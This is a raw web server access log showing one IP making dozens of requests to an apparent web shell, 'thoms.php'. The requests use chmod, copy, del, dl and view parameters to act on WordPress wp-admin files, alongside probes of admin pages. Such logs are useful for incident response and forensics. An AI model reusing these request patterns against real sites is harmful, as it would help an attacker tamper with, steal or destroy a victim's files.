45.135.193.11 - - [11/Sep/2026:23:39:40 -0400] "GET /thoms.php?chmod=admin-functions.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=admin-functions.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:40 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin%2Fcss HTTP/1.1" 200 29045 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin%2Fcss" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:40 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fmenu-header.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fmenu-header.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:40 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Ftools.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Ftools.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:40 -0400] "GET /thoms.php?del=menu.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28763 "http://163.245.207.76:443/thoms.php?del=menu.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:40 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fsite-editor.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fsite-editor.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:40 -0400] "GET /thoms.php?dl=ms-options.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28763 "http://163.245.207.76:443/thoms.php?dl=ms-options.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:40 -0400] "GET /thoms.php?dl=network.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28755 "http://163.245.207.76:443/thoms.php?dl=network.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:40 -0400] "GET /bestjudy.com.tw/wp-admin/user-edit.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:41 -0400] "GET /bestjudy.com.tw/wp-admin/site-health-info.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:40 -0400] "GET /bestjudy.com.tw/wp-admin/options-discussion.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:41 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=options-general.php HTTP/1.1" 200 20121 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=options-general.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:41 -0400] "GET /bestjudy.com.tw/wp-admin/user/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:41 -0400] "GET /bestjudy.com.tw/wp-admin/contribute.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:41 -0400] "GET /thoms.php?del=themes.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28764 "http://163.245.207.76:443/thoms.php?del=themes.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:41 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fedit.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fedit.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:41 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fupload.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fupload.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:41 -0400] "GET /thoms.php?del=moderation.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28764 "http://163.245.207.76:443/thoms.php?del=moderation.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:41 -0400] "GET /thoms.php?del=admin-header.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28763 "http://163.245.207.76:443/thoms.php?del=admin-header.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:41 -0400] "GET /thoms.php?dl=erase-personal-data.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28750 "http://163.245.207.76:443/thoms.php?dl=erase-personal-data.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:41 -0400] "GET /thoms.php?dl=ms-sites.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28761 "http://163.245.207.76:443/thoms.php?dl=ms-sites.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:42 -0400] "GET /thoms.php?del=options-discussion.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28763 "http://163.245.207.76:443/thoms.php?del=options-discussion.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:42 -0400] "GET /thoms.php?chmod=contribute.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=contribute.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:42 -0400] "GET /thoms.php?del=admin-post.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28763 "http://163.245.207.76:443/thoms.php?del=admin-post.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:42 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=font-library.php HTTP/1.1" 200 12660 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=font-library.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:42 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Flink-add.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Flink-add.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:42 -0400] "GET /thoms.php?chmod=plugins.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=plugins.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:42 -0400] "GET /bestjudy.com.tw/wp-admin/moderation.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:42 -0400] "GET /thoms.php?chmod=load-scripts.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=load-scripts.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:42 -0400] "GET /bestjudy.com.tw/wp-admin/options-general.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:42 -0400] "GET /bestjudy.com.tw/wp-admin/tools.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:42 -0400] "GET /thoms.php?dl=site-editor.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28763 "http://163.245.207.76:443/thoms.php?dl=site-editor.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:43 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=widgets-form.php HTTP/1.1" 200 19043 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=widgets-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:43 -0400] "GET /thoms.php?chmod=ms-sites.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=ms-sites.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:43 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=plugins.php HTTP/1.1" 200 21221 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=plugins.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:43 -0400] "GET /thoms.php?del=admin-ajax.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28764 "http://163.245.207.76:443/thoms.php?del=admin-ajax.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:43 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=tools.php HTTP/1.1" 200 13462 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=tools.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:43 -0400] "GET /thoms.php?chmod=update.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=update.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:43 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fincludes&p= HTTP/1.1" 200 12417 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fincludes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:43 -0400] "GET /thoms.php?chmod=menu-header.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=menu-header.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:43 -0400] "GET /thoms.php?dl=credits.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28764 "http://163.245.207.76:443/thoms.php?dl=credits.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:43 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fwidgets-form-blocks.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fwidgets-form-blocks.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:43 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin%2Fnetwork HTTP/1.1" 200 17366 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin%2Fnetwork" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:43 -0400] "GET /thoms.php?del=media.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28766 "http://163.245.207.76:443/thoms.php?del=media.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:44 -0400] "GET /thoms.php?chmod=options-privacy.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=options-privacy.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:44 -0400] "GET /thoms.php?del=theme-install.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28764 "http://163.245.207.76:443/thoms.php?del=theme-install.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:44 -0400] "GET /thoms.php?del=maint&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28763 "http://163.245.207.76:443/thoms.php?del=maint&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:44 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=install-helper.php HTTP/1.1" 200 14051 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=install-helper.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:44 -0400] "GET /bestjudy.com.tw/wp-admin/install-helper.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:44 -0400] "GET /thoms.php?del=customize.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28747 "http://163.245.207.76:443/thoms.php?del=customize.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:44 -0400] "GET /bestjudy.com.tw/wp-admin/edit-form-advanced.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:44 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fadmin-post.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fadmin-post.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:44 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fcontribute.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fcontribute.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:44 -0400] "GET /bestjudy.com.tw/wp-admin/load-scripts.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:44 -0400] "GET /bestjudy.com.tw/wp-admin/ms-options.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:44 -0400] "GET /thoms.php?dl=font-library.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28764 "http://163.245.207.76:443/thoms.php?dl=font-library.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:44 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=options-permalink.php HTTP/1.1" 200 18958 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=options-permalink.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:44 -0400] "GET /thoms.php?del=options-reading.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28764 "http://163.245.207.76:443/thoms.php?del=options-reading.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:45 -0400] "GET /bestjudy.com.tw/wp-admin/edit.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:45 -0400] "GET /thoms.php?chmod=plugin-editor.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=plugin-editor.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:45 -0400] "GET /bestjudy.com.tw/wp-admin/post-new.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:45 -0400] "GET /thoms.php?dl=user-edit.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28781 "http://163.245.207.76:443/thoms.php?dl=user-edit.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:45 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=contribute.php HTTP/1.1" 200 14051 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=contribute.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:45 -0400] "GET /bestjudy.com.tw/wp-admin/edit-link-form.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:45 -0400] "GET /thoms.php?chmod=nav-menus.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=nav-menus.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:45 -0400] "GET /thoms.php?del=freedoms.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28765 "http://163.245.207.76:443/thoms.php?del=freedoms.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:45 -0400] "GET /thoms.php?dl=custom-header.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28765 "http://163.245.207.76:443/thoms.php?dl=custom-header.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:45 -0400] "GET /thoms.php?chmod=edit-tags.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=edit-tags.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:45 -0400] "GET /thoms.php?chmod=menu.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=menu.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:45 -0400] "GET /thoms.php?chmod=moderation.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=moderation.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:46 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=options-privacy.php HTTP/1.1" 200 15902 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=options-privacy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:46 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=admin-header.php HTTP/1.1" 200 15281 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=admin-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:46 -0400] "GET /thoms.php?del=admin.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28766 "http://163.245.207.76:443/thoms.php?del=admin.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
